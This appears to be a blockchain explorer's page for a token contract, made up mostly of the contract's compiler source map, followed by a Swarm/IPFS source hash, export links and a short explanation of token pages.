2870:6194:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4271:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5034:159;;;;;;;;;;-1:-1:-1;5034:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5034:159:0;1023:187:1;4475:100:0;;;;;;;;;;-1:-1:-1;4555:12:0;;4475:100;;;1361:25:1;;;1349:2;1334:18;4475:100:0;1215:177:1;5201:336:0;;;;;;;;;;-1:-1:-1;5201:336:0;;;;;:::i;:::-;;:::i;4373:94::-;;;;;;;;;;-1:-1:-1;4450:9:0;;4373:94;;4450:9;;;;2000:36:1;;1988:2;1973:18;4373:94:0;1858:184:1;3214:49:0;;;;;;;;;;-1:-1:-1;3214:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3358:44;;;;;;;;;;-1:-1:-1;3358:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3488:26;;;;;;;;;;;;;;;;3557:27;;;;;;;;;;-1:-1:-1;3557:27:0;;;;-1:-1:-1;;;;;3557:27:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;3557:27:0;2299:203:1;3521:27:0;;;;;;;;;;;;;;;;3313:36;;;;;;;;;;-1:-1:-1;3313:36:0;;;;-1:-1:-1;;;;;3313:36:0;;;4583:119;;;;;;;;;;-1:-1:-1;4583:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4676:18:0;4649:7;4676:18;;;:9;:18;;;;;;;4583:119;2493:148;;;;;;;;;;;;;:::i;:::-;;2296:79;;;;;;;;;;-1:-1:-1;2334:7:0;2361:6;-1:-1:-1;;;;;2361:6:0;2296:79;;4165:98;;;;;;;;;;;;;:::i;3041:76::-;;;;;;;;;;-1:-1:-1;3041:76:0;;;;-1:-1:-1;;;;;3041:76:0;;;4710:165;;;;;;;;;;-1:-1:-1;4710:165:0;;;;;:::i;:::-;;:::i;8172:852::-;;;:::i;4883:143::-;;;;;;;;;;-1:-1:-1;4883:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4991:18:0;;;4964:7;4991:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4883:143;8132:33;;;;;;;;;;;;;;;;2649:214;;;;;;;;;;-1:-1:-1;2649:214:0;;;;;:::i;:::-;;:::i;4271:94::-;4319:13;4352:5;4345:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4271:94;:::o;5034:159::-;5109:4;5126:37;5135:10;5147:7;5156:6;5126:8;:37::i;:::-;-1:-1:-1;5181:4:0;5034:159;;;;;:::o;5201:336::-;5299:4;5316:36;5326:6;5334:9;5345:6;5316:9;:36::i;:::-;-1:-1:-1;;;;;5367:19:0;;3477:1;5367:19;;;:11;:19;;;;;;;;5387:10;5367:31;;;;;;;;-1:-1:-1;;5367:38:0;5363:145;;-1:-1:-1;;;;;5456:19:0;;;;;;:11;:19;;;;;;;;5476:10;5456:31;;;;;;;;:40;;5490:6;;5456:40;:::i;:::-;-1:-1:-1;;;;;5422:19:0;;;;;;:11;:19;;;;;;;;5442:10;5422:31;;;;;;;:74;5363:145;-1:-1:-1;5525:4:0;5201:336;;;;;:::o;2493:148::-;2423:6;;-1:-1:-1;;;;;2423:6:0;2433:10;2423:20;2415:50;;;;-1:-1:-1;;;2415:50:0;;;;;;;:::i;:::-;;;;;;;;;2600:1:::1;2584:6:::0;;2563:40:::1;::::0;-1:-1:-1;;;;;2584:6:0;;::::1;::::0;2563:40:::1;::::0;2600:1;;2563:40:::1;2631:1;2614:19:::0;;-1:-1:-1;;;;;;2614:19:0::1;::::0;;2493:148::o;4165:98::-;4215:13;4248:7;4241:14;;;;;:::i;4710:165::-;4788:4;4805:40;4815:10;4827:9;4838:6;4805:9;:40::i;8172:852::-;2423:6;;-1:-1:-1;;;;;2423:6:0;2433:10;2423:20;2415:50;;;;-1:-1:-1;;;2415:50:0;;;;;;;:::i;:::-;8241:18:::1;::::0;:23;8233:50:::1;;;::::0;-1:-1:-1;;;8233:50:0;;4328:2:1;8233:50:0::1;::::0;::::1;4310:21:1::0;4367:2;4347:18;;;4340:30;-1:-1:-1;;;4386:18:1;;;4379:45;4441:18;;8233:50:0::1;4126:339:1::0;8233:50:0::1;8395:14;:27:::0;;-1:-1:-1;;;;;;8395:27:0::1;8339:42;8395:27:::0;;::::1;::::0;;;8453:4:::1;8296:25;8433:26:::0;;;:11:::1;:26;::::0;;;;;;;:47;;;;;;;;-1:-1:-1;;8433:53:0;;8545:20;;-1:-1:-1;;;8545:20:0;;;;8339:42;;8545:18:::1;::::0;:20:::1;::::0;;::::1;::::0;;;;;;;8339:42;8545:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8499:67;;8577:16;8596:11;-1:-1:-1::0;;;;;8596:22:0::1;;8627:4;8634:10;-1:-1:-1::0;;;;;8634:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8596:56;::::0;-1:-1:-1;;;;;;8596:56:0::1;::::0;;;;;;-1:-1:-1;;;;;4956:15:1;;;8596:56:0::1;::::0;::::1;4938:34:1::0;5008:15;;4988:18;;;4981:43;4873:18;;8596:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8663:12;:23:::0;;-1:-1:-1;;;;;;8663:23:0::1;-1:-1:-1::0;;;;;8663:23:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;8697:22:0;;;:12:::1;:22;::::0;;;;;;;:29;;-1:-1:-1;;8697:29:0;;::::1;-1:-1:-1::0;8697:29:0;;::::1;::::0;;;8739:38;;::::1;::::0;;;:17:::1;:38:::0;;;;;:45;;;;::::1;::::0;::::1;::::0;;;8850:4:::1;4676:18:::0;;;;;;;;;8663:23;;-1:-1:-1;8739:38:0;;8797:26:::1;::::0;8831:9:::1;::::0;8881:1:::1;8883::::0;8885:7:::1;2334::::0;2361:6;-1:-1:-1;;;;;2361:6:0;;2296:79;8885:7:::1;8797:112;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8797:112:0;;;-1:-1:-1;;;;;5394:15:1;;;8797:112:0::1;::::0;::::1;5376:34:1::0;5426:18;;;5419:34;;;;5469:18;;;5462:34;;;;5512:18;;;5505:34;5576:15;;;5555:19;;;5548:44;8893:15:0::1;5608:19:1::0;;;5601:35;5310:19;;8797:112:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8920:50:0::1;::::0;-1:-1:-1;;;8920:50:0;;-1:-1:-1;;;;;6150:32:1;;;8920:50:0::1;::::0;::::1;6132:51:1::0;-1:-1:-1;;6199:18:1;;;6192:34;8920:24:0;::::1;::::0;-1:-1:-1;8920:24:0::1;::::0;6105:18:1;;8920:50:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9004:12:0::1;8983:18;:33:::0;-1:-1:-1;;8172:852:0:o;2649:214::-;2423:6;;-1:-1:-1;;;;;2423:6:0;2433:10;2423:20;2415:50;;;;-1:-1:-1;;;2415:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2738:22:0;::::1;2730:43;;;::::0;-1:-1:-1;;;2730:43:0;;6721:2:1;2730:43:0::1;::::0;::::1;6703:21:1::0;6760:1;6740:18;;;6733:29;-1:-1:-1;;;6778:18:1;;;6771:38;6826:18;;2730:43:0::1;6519:331:1::0;2730:43:0::1;2810:6;::::0;;2789:38:::1;::::0;-1:-1:-1;;;;;2789:38:0;;::::1;::::0;2810:6;::::1;::::0;2789:38:::1;::::0;::::1;2838:6;:17:::0;;-1:-1:-1;;;;;;2838:17:0::1;-1:-1:-1::0;;;;;2838:17:0;;;::::1;::::0;;;::::1;::::0;;2649:214::o;5545:177::-;-1:-1:-1;;;;;5630:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5682:32;;1361:25:1;;;5682:32:0;;1334:18:1;5682:32:0;;;;;;;5545:177;;;:::o;5730:927::-;-1:-1:-1;;;;;5895:16:0;;5844:12;5895:16;;;:12;:16;;;;;;5844:12;;5895:16;;:27;;;;-1:-1:-1;5916:6:0;;;;5915:7;5895:27;:55;;;;-1:-1:-1;;;;;;5927:23:0;;;;;;:17;:23;;;;;;;;5926:24;5895:55;:81;;;;-1:-1:-1;;;;;;5955:21:0;;;;;;:17;:21;;;;;;;;5954:22;5895:81;5891:527;;;6042:4;5993:28;4676:18;;;:9;:18;;;;;;6067:24;;6063:344;;6142:6;6189:42;;;:147;;6317:19;6189:147;;;6296:20;6189:147;6167:169;;6355:36;6371:19;6355:15;:36::i;:::-;6093:314;6063:344;5978:440;5891:527;-1:-1:-1;;;;;6433:23:0;;;;;;:17;:23;;;;;;;;6432:24;:50;;;;-1:-1:-1;;;;;;6461:21:0;;;;;;:17;:21;;;;;;;;6460:22;6432:50;:61;;;;-1:-1:-1;6487:6:0;;;;6486:7;6432:61;6428:108;;;6520:4;6510:14;;6428:108;-1:-1:-1;;;;;6552:16:0;;;;;;:12;:16;;;;;;;;6548:40;;;-1:-1:-1;6581:4:0;6548:40;6600:49;6615:4;6621:2;6625:6;6633:7;6642:6;6600:14;:49::i;:::-;5833:824;;5730:927;;;:::o;7690:434::-;3625:6;:13;;-1:-1:-1;;3625:13:0;3634:4;3625:13;;;7791:16:::1;::::0;;7805:1:::1;7791:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7791:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7791:16:0::1;7767:40;;7836:4;7818;7823:1;7818:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7818:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7862:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;7862:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;7818:7;;7862:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7852:4;7857:1;7852:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7852:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;7898:14:::1;::::0;8047:16:::1;::::0;7898:207:::1;::::0;-1:-1:-1;;;7898:207:0;;:14;;::::1;::::0;:65:::1;::::0;:207:::1;::::0;7978:11;;7898:14:::1;::::0;8020:4;;8047:16;;::::1;::::0;8079:15:::1;::::0;7898:207:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;7894:223:::0;-1:-1:-1;;3661:6:0;:14;;-1:-1:-1;;3661:14:0;;;7690:434::o;6665:1017::-;6839:17;6873:7;6869:573;;;6911:14;6946:6;6942:189;;;7009:12;;6982:16;;-1:-1:-1;;;;;6982:16:0;:24;:39;6973:49;;;;;;-1:-1:-1;7050:8:0;;6942:189;;;-1:-1:-1;7108:7:0;;6942:189;7145:18;7185:3;7166:16;7176:6;7166:7;:16;:::i;:::-;:22;;;;:::i;:::-;7145:43;-1:-1:-1;7207:14:0;;7203:228;;7242:23;7255:10;7242:23;;:::i;:::-;7329:4;7311:24;;;;:9;:24;;;;;;7242:23;;-1:-1:-1;7311:37:0;;7338:10;;7311:37;:::i;:::-;7302:4;7284:24;;;;:9;:24;;;;;;;:64;;;;7372:43;;-1:-1:-1;;;;;7372:43:0;;;;;;;7404:10;1361:25:1;;1349:2;1334:18;;1215:177;7372:43:0;;;;;;;;7203:228;6882:560;;6869:573;7456:16;;-1:-1:-1;;;;;7446:26:0;;;7456:16;;7446:26;7443:87;;-1:-1:-1;;;;;7503:17:0;;;;;;:9;:17;;;;;;:27;;7523:7;;7503:27;:::i;:::-;-1:-1:-1;;;;;7483:17:0;;;;;;:9;:17;;;;;:47;7443:87;7588:19;7598:9;7588:7;:19;:::i;:::-;-1:-1:-1;;;;;7564:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;7541:20:0;;;;;;;:9;:20;;;;;:67;;;;7624:48;;;7652:19;7662:9;7652:7;:19;:::i;:::-;7624:48;;1361:25:1;;;1349:2;1334:18;7624:48:0;;;;;;;6828:854;6665:1017;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;:::-;2283:5;2047:247;-1:-1:-1;;;2047:247:1:o;2737:388::-;2805:6;2813;2866:2;2854:9;2845:7;2841:23;2837:32;2834:52;;;2882:1;2879;2872:12;2834:52;2921:9;2908:23;2940:31;2965:5;2940:31;:::i;:::-;2990:5;-1:-1:-1;3047:2:1;3032:18;;3019:32;3060:33;3019:32;3060:33;:::i;:::-;3112:7;3102:17;;;2737:388;;;;;:::o;3130:380::-;3209:1;3205:12;;;;3252;;;3273:61;;3327:4;3319:6;3315:17;3305:27;;3273:61;3380:2;3372:6;3369:14;3349:18;3346:38;3343:161;;3426:10;3421:3;3417:20;3414:1;3407:31;3461:4;3458:1;3451:15;3489:4;3486:1;3479:15;3343:161;;3130:380;;;:::o;3515:127::-;3576:10;3571:3;3567:20;3564:1;3557:31;3607:4;3604:1;3597:15;3631:4;3628:1;3621:15;3647:128;3714:9;;;3735:11;;;3732:37;;;3749:18;;:::i;3780:341::-;3982:2;3964:21;;;4021:2;4001:18;;;3994:30;-1:-1:-1;;;4055:2:1;4040:18;;4033:47;4112:2;4097:18;;3780:341::o;4470:251::-;4540:6;4593:2;4581:9;4572:7;4568:23;4564:32;4561:52;;;4609:1;4606;4599:12;4561:52;4641:9;4635:16;4660:31;4685:5;4660:31;:::i;5647:306::-;5735:6;5743;5751;5804:2;5792:9;5783:7;5779:23;5775:32;5772:52;;;5820:1;5817;5810:12;5772:52;5849:9;5843:16;5833:26;;5899:2;5888:9;5884:18;5878:25;5868:35;;5943:2;5932:9;5928:18;5922:25;5912:35;;5647:306;;;;;:::o;6237:277::-;6304:6;6357:2;6345:9;6336:7;6332:23;6328:32;6325:52;;;6373:1;6370;6363:12;6325:52;6405:9;6399:16;6458:5;6451:13;6444:21;6437:5;6434:32;6424:60;;6480:1;6477;6470:12;6987:127;7048:10;7043:3;7039:20;7036:1;7029:31;7079:4;7076:1;7069:15;7103:4;7100:1;7093:15;7119:980;7381:4;7429:3;7418:9;7414:19;7460:6;7449:9;7442:25;7486:2;7524:6;7519:2;7508:9;7504:18;7497:34;7567:3;7562:2;7551:9;7547:18;7540:31;7591:6;7626;7620:13;7657:6;7649;7642:22;7695:3;7684:9;7680:19;7673:26;;7734:2;7726:6;7722:15;7708:29;;7755:1;7765:195;7779:6;7776:1;7773:13;7765:195;;;7844:13;;-1:-1:-1;;;;;7840:39:1;7828:52;;7935:15;;;;7900:12;;;;7876:1;7794:9;7765:195;;;-1:-1:-1;;;;;;;8016:32:1;;;;8011:2;7996:18;;7989:60;-1:-1:-1;;;8080:3:1;8065:19;8058:35;7977:3;7119:980;-1:-1:-1;;;7119:980:1:o;8104:168::-;8177:9;;;8208;;8225:15;;;8219:22;;8205:37;8195:71;;8246:18;;:::i;8277:217::-;8317:1;8343;8333:132;;8387:10;8382:3;8378:20;8375:1;8368:31;8422:4;8419:1;8412:15;8450:4;8447:1;8440:15;8333:132;-1:-1:-1;8479:9:1;;8277:217::o;8499:125::-;8564:9;;;8585:10;;;8582:36;;;8598:18;;:::i

Swarm Source

ipfs://1f81c85b5afbf8326811c0112b97efb173527951e865decc87a600f5076e4a59
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.